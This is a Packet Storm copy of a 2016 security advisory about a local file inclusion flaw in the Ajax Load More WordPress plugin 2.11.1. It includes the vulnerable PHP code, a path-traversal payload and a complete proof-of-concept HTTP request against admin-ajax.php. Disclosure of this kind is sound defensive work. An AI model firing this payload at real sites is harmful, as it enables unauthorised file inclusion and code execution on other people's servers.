what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Ajax Load More 2.11.1 Local File Inclusion

WordPress Ajax Load More 2.11.1 Local File Inclusion
Posted Aug 16, 2016
Authored by Securify B.V., Burak Kelebek

WordPress Ajax Load More plugin version 2.11.1 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | e706562a71b9bb015efaece380e49a06c278f92b628b2583cd6b20cc38ce5b94

WordPress Ajax Load More 2.11.1 Local File Inclusion

Change Mirror Download
------------------------------------------------------------------------
Ajax Load More Local File Inclusion vulnerability
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Ajax Load More WordPress plugin is vulnerable
to Local File Inclusion. This issue can potentially be exploited to run
arbitrary PHP code. In order to do so, the attacker must be able to
place an arbitrary PHP file on the target system. The malicious file
must have the .php extension.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0034

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Ajax Load More - Infinite
Scroll WordPress Plugin version 2.11.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is fixed in version 2.11.2

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/ajax_load_more_local_file_inclusion_vulnerability.html

Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion.
For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.

repeater=repeater2f%2e%2e%2f../../../xmlrpc

https://www.owasp.org/index.php/PHP_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';
$type = alm_get_repeater_type($repeater);

function alm_get_repeater_type($repeater){
$type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
$type = $type[0]; // default | repeater | template_
return $type;
}

[..]

if($queryType === 'standard'){

[..]

if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
}else{
include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
}

[..]

function alm_get_current_repeater($repeater, $type) {

$template = $repeater;
$include = '';

// If is Custom Repeaters (Custom Repeaters v1)
if( $type == 'repeater' && has_action('alm_repeater_installed' )){
$include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';

if(!file_exists($include)) //confirm file exists
alm_get_default_repeater();

}
// If is Unlimited Repeaters (Custom Repeaters v2)
elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
global $wpdb;
$blog_id = $wpdb->blogid;

if($blog_id > 1){
$include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
}else{
$include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';
}

if(!file_exists($include)) //confirm file exists
$include = alm_get_default_repeater();

}
// Default repeater
else{
$include = alm_get_default_repeater();
}

return $include;

}

The victim should have the paid add-on Custom Repeater or Unlimited installed.
Proof of Concept

GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
Host: 192.168.50.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.50.9/html/
Cookie:
Connection: close
Pragma: no-cache
Cache-Control: no-cache

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close